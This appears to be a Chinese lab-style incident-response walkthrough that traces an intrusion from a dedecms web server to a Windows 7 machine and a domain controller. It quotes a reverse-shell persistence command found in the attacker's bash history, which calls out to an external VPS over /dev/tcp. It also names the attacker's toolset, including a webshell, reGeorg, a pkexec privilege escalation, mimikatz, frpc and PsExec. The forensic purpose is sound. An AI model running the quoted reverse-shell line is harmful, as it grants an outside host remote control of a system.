服务器入侵追溯

目录

介绍

GoAccess 是一款用于Apache或者Nginx的命令行日志分析器和交互式查看器。它可以通过分析网站服务器日志来进一步挖掘数据,排查入侵痕迹。它在一个终端窗口实时输出并且可以在web端输出可视化的显示信息。

相关事件ID:

4624:成功登录

4625:登录失败

4768:Kerberos身份验证(TGT请求)

4769:Kerberos服务票证(ST请求)

4776:NTLM身份验证

4672:分配特殊权限

步骤

针对仅对公网开放的服务器,即Web服务器先进行操作。

已知Linux服务器开启了宝塔面板和一个网站的服务

打开kali操作机针对/etc/hosts文件进行修改,添加Web服务器ip testdede.com的ip映射



访问网址可以发现服务的版本是dedecms,通过网站图标即可得知

在Web服务器中查看/etc/init.d/bt的默认面板入口,输入/etc/init.d/bt default

如果登陆时账号或密码错误,利用/etc/init.d/bt更改密码

利用账户名和密码登陆后台页面,依次点击安全和Web日志,打开网站的日志目录,查看网站的日志信息

针对目录下的testdede.com-error_log文件,查看登陆错误的日志信息,并未发现有用信息,在f访问testdede.com-access_log日志时,过于凌乱。

利用scp命令将testdede.com-access_log文件下载到kali本地,scp root@ip:目录/文件 本地目录/

可以使用GoAccess对日志信息进行归总和图形化显示。

利用kali中安装的goaccess,使用命令goaccess 日志文件 --log-format=COMBINED -a > test.html导出可视化的页面文件

针对日志进行分析,可以看到在外部请求的文件中,tunnel.phpconfig.cache.inc.php请求量比较高,tunnel.php初步判断为这个内网穿透的reGeorg代理

请求量最多的ip是192.168.11.147,可能是大量的端口或者目录扫描,疑似攻击者的IP

使用宝塔面板或ssh连接至Web服务器均可查看以下tunnel.phpconfig.cache.inc.php的内容是什么,可以看到tunnel.php确实为reGeorg生成的内网穿透文件,config.cache.inc.php里面有eval关键字的webshell

判断web服务器的流量被代理到域内pc机

可能是通过弱口令登陆后台→后台写webshell

推断攻击者可能进行下一步攻击,进一步利用,需要提权和权限维持,再进行横向内网渗透,针对后续命令,可以用ssh连接到目标服务器

对服务器的一些特殊目录进行筛查,tmp目录下存在cve-2021-4034.py的文件,这个脚本通常被用来提权到root

通过ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu | head -n 5ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem | head -n 5,避免服务器被攻击者非法利用于挖矿,可以看到CPU和内存均正常且无可疑进程,根据结果判断并未用于挖矿

使用history命令可以查看历史命令,可以看到echo "bash -i >& /dev/tcp/110.42.229.77/6666 0>&1" > /etc/rc.d/init.d/haha.sh && chmod 777 /etc/rc.d/init.d/haha.sh这个反弹shell命令,同时讲反弹shell的操作写入脚本存入了自启动文件夹,110.42.229.77可能是攻击者的vps

同时,攻击者将反弹shell的命令脚本存入了定时任务

可以看到攻击者使用kali生成了密钥对,将密钥写入了服务器中,达成了使用攻击者kali登陆服务器无需密码的情况,实现了权限维持

可以看到后续历史命令中,攻击者使用了cve-2021-4034.py脚本进行了提权,添加了hack用户

通过对/etc/passwd的查看,发现了hack用户为最高权限0

根据历史命令中攻击者反弹shell写入自启动后,可以查看/etc/rc.d/init.d的自启动文件夹

针对Linux计划任务crontab,每10分钟执行一次反弹shell的操作,ip和之前分析的攻击者ip一致

攻击者在这个服务器的操作基本已经被基本掌握

切换操作机至PC办公机,Windows7

运行输入compmgnt.msc打开计算机管理,查看本地用户和组

可以看到有隐藏用户hack$,检查每个账户的属性,发现test用户隶属于Remote Desktop Users,推测攻击者可能通过test用户登陆域成员Win7

针对与域成员Win7,攻击者依旧可能存在权限维持手段,使用命令reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 导出目录\文件名.reg将开机自启注册表导出,或运行输入regedit打开注册表编辑器

同时在PC办公机2长时间运行过程中,可以看到hack.exe已停止工作的弹窗

针对注册表显示路径,进入目录查看

目录中有mimikatz,这个工具可以被攻击者用来内网渗透,常用于提取用户hash,提供简单hash的爆破功能。frpc是一个反向代理工具,可以用受害机器反向连接至公网攻击者vpn攻击机,用于配置隧道代理方便攻击者直接传输攻击流量至PC办公机2攻击域控制器。

查看frpc的配置文件,可以看到依旧是攻击者的vpsip,也发现了攻击者的ID

针对系统环境变量进行检查,使用命令set > 文件,可以导出环境变量,进行查看,攻击者将攻击目录添加至Path,攻击者在dos内任意目录直接输入程序名就可以执行程序

排查自启服务,没有查看到可以项目

排查计划任务,dos内依次输入命令chcp 437,schtasks /query /fo LIST /v > 路径\文件导出计划任务

可以看到计划任务中有之前发现的hack.exe文件

针对防火墙进行检查,之前frpc可能会开启异常的服务端口,使用命令netsh firewall show state > 目录\文件进行检查

防火墙开启了7000端口,与之前frpc配置文件的内容相对应。

打开火绒剑工具,在启动项栏目中还可以看到test1的注册表启动项

可以看到依旧是hack.exe

切换到域控制器WindowsServer,运行里输入services.msc查看服务项,可以看到一个PSEXEC的服务,根据对Win7的域机器的排查,可以判断攻击者利用PSEXEC这个工具进行了内网的横向渗透

同时在C盘根目录可以看到hack.exe,推断攻击者已经获取了域控的最高权限

事件查看器中可以看到源工作站为kali的日志条目,登录账户是test推测可能Win7机器的test账户被黑客利用与攻击域控

溯源的攻击者路径为:

默认密码登陆dedecms后台
配置文件写webshell
CVE提权后权限维持
neo-regrorg正向代理
权限维持和反向代理
抓取哈希值进行哈希传递
掌握dc域控最高权限

相关推荐
敖云岚31 分钟前
【Linux】Centos7 安装 Docker 详细教程
linux·运维·服务器
北陌宝宝1 小时前
Jenkins:开启高效软件开发的魔法之门
运维·jenkins
文牧之1 小时前
PostgreSQL 常用日志
运维·数据库·postgresql
蓝莓味柯基1 小时前
DevOps:概念与学习路径
运维·学习·devops
FJW0208141 小时前
【Linux】web服务器的部署和优化
linux·运维·服务器·rhce
Linux运维老纪2 小时前
Python文件操作及数据库交互(Python File Manipulation and Database Interaction)
linux·服务器·数据库·python·云计算·运维开发
平生不喜凡桃李2 小时前
Linux 进程控制
linux·运维·服务器
鱼与宇2 小时前
Linux常用命令
linux·运维·服务器
小南家的青蛙2 小时前
lspci的资料
linux·运维·服务器
敖云岚2 小时前
【那些年踩过的坑】Docker换源加速详细教程(截至2025年4月)
运维·docker·容器